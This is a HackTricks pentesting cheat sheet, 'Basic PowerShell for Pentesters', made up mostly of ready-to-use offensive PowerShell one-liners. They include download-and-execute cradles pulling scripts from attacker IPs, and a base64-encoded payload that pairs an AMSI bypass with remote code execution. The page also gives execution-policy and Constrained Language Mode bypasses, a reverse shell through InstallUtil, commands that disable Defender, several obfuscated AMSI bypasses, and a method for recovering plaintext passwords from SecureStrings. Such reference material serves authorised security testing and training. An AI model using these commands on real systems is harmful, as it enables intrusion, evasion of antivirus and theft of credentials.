HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
Basic PowerShell for Pentesters
Support HackTricks and get benefits!

Default PowerShell locations

1
C:\windows\syswow64\windowspowershell\v1.0\powershell
2
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Copied!

Basic PS commands to start

1
Get-Help * #List everything loaded
2
Get-Help process #List everything containing "process"
3
Get-Help Get-Item -Full #Get full helpabout a topic
4
Get-Help Get-Item -Examples #List examples
5
Import-Module <modulepath>
6
Get-Command -Module <modulename>
Copied!

Download & Execute

1
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
2
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
3
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
4
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
5
โ€‹
6
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
7
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
Copied!

Download & Execute in background with AMSI Bypass

1
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Copied!

Using b64 from linux

1
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
2
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Copied!

Download

System.Net.WebClient

1
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Copied!

Invoke-WebRequest

1
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Copied!

Wget

1
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Copied!

BitsTransfer

1
Import-Module BitsTransfer
2
Start-BitsTransfer -Source $url -Destination $output
3
# OR
4
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Copied!

Base64 Kali & EncodedCommand

1
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
2
PS> powershell -EncodedCommand <Base64>
Copied!

Execution Policy

By default it is set to restricted. Main ways to bypass this policy:
1
1ยบ Just copy and paste inside the interactive PS console
2
2ยบ Read en Exec
3
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
4
3ยบ Read and Exec
5
Get-Content .runme.ps1 | Invoke-Expression
6
4ยบ Use other execution policy
7
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
8
5ยบ Change users execution policy
9
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
10
6ยบ Change execution policy for this session
11
Set-ExecutionPolicy Bypass -Scope Process
12
7ยบ Download and execute:
13
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
14
8ยบ Use command switch
15
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
16
9ยบ Use EncodeCommand
17
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Copied!
More can be found hereโ€‹

Constrained language

1
$ExecutionContext.SessionState.LanguageMode
2
#Values could be: FullLanguage or ConstrainedLanguage
Copied!

Bypass

1
#Easy bypass
2
Powershell -version 2
Copied!
In current Windows that Bypass won't work but you can use PSByPassCLM. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\_31bf3856ad364e35\System.Management.Automation.dll_ and change the project to .Net4.5.

Direct bypass:

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Copied!

Reverse shell:

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Copied!

AppLockerPolicy

Check which files/extensions are blacklisted/whitelisted.
1
Get-ApplockerPolicy -Effective -xml
2
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
3
$a = Get-ApplockerPolicy -effective
4
$a.rulecollections
Copied!

Enable WinRM (Remote PS)

1
enable-psremoting -force #This enables winrm
2
โ€‹
3
# Change NetWorkConnection Category to Private
4
#Requires -RunasAdministrator
5
โ€‹
6
Get-NetConnectionProfile |
7
Where{ $_.NetWorkCategory -ne 'Private'} |
8
ForEach {
9
$_
10
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
11
}
Copied!

Antivirus

1
#Check status
2
Get-MpComputerStatus
3
#Disable
4
Set-MpPreference -DisableRealtimeMonitoring $true
5
#Set exclusion path
6
Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
7
#Disable AMSI
8
"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
Copied!

PS-History

1
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Copied!

OS version and HotFixes

1
[System.Environment]::OSVersion.Version #Current OS version
2
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
3
Get-Hotfix -description "Security update" #List only "Security Update" patches
Copied!

Environment

1
Get-ChildItem Env: | ft Key,Value #get all values
2
$env:UserName @Get UserName value
Copied!

Other connected drives

1
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Copied!

Recycle Bin

1
$shell = New-Object -com shell.application
2
$rb = $shell.Namespace(10)
3
$rb.Items()
Copied!

Domain Recon

Users

1
Get-LocalUser | ft Name,Enabled,Description,LastLogon
2
Get-ChildItem C:\Users -Force | select Name
Copied!

Secure String to Plaintext

1
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
2
$user = "HTB\Tom"
3
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
4
$cred.GetNetworkCredential() | fl
5
โ€‹
6
UserName : Tom
7
Password : 1ts-mag1c!!!
8
SecurePassword : System.Security.SecureString
9
Domain : HTB
Copied!
Or directly parsing form XML:
1
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
2
โ€‹
3
UserName : Tom
4
Password : 1ts-mag1c!!!
5
SecurePassword : System.Security.SecureString
6
Domain : HTB
Copied!

SUDO

1
#CREATE A CREDENTIAL OBJECT
2
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
3
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
4
โ€‹
5
#For local:
6
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
7
โ€‹
8
#For WINRM
9
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
10
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
11
#DOWNLOAD nc.exe
12
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
13
โ€‹
14
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
15
โ€‹
16
#Another method
17
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
18
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
19
$computer = "<hostname>"
Copied!

Groups

1
Get-LocalGroup | ft Name #All groups
2
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Copied!

Clipboard

1
Get-Clipboard
Copied!

Processes

1
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Copied!

Services

1
Get-Service
Copied!

Password from secure string

1
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
2
$cred=new-object system.management.automation.pscredential("administrator", $pw)
3
$cred.getnetworkcredential() | fl * #Get plaintext password
Copied!

Scheduled Tasks

1
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Copied!

Network

Interfaces

1
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
2
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Copied!

Route

1
route print
Copied!

ARP

1
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Copied!

Hosts

1
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Copied!

Ping

1
$ping = New-Object System.Net.Networkinformation.Ping
2
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
Copied!

SNMP

1
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Copied!

AMSI bypass

1
# A Method
2
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
3
โ€‹
4
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
5
$A="5492868772801748688168747280728187173688878280688776828"
6
$B="1173680867656877679866880867644817687416876797271"
7
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
8
substring(($_*2),2))})-replace " " ).
9
GetField([string](38..51|%{[char][int](29+($A+$B).
10
substring(($_*2),2))})-replace " ",'NonPublic,Static').
11
SetValue($null,$true)
12
โ€‹
13
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
14
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
15
โ€‹
16
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
17
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
18
โ€‹
19
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
20
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
21
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
22
${1}.SetValue($null,$true)
23
โ€‹
24
# Another Method
25
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
26
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
27
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
28
$field.SetValue($null,$true)
29
โ€‹
30
โ€‹
31
# Testing for Amsi Bypass:
32
https://github.com/rasta-mouse/AmsiScanBufferBypass
33
โ€‹
34
# Amsi-Bypass-Powershell
35
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
36
โ€‹
37
https://blog.f-secure.com/hunting-for-amsi-bypasses/
38
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
39
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
40
https://slaeryan.github.io/posts/falcon-zero-alpha.html
Copied!
Support HackTricks and get benefits!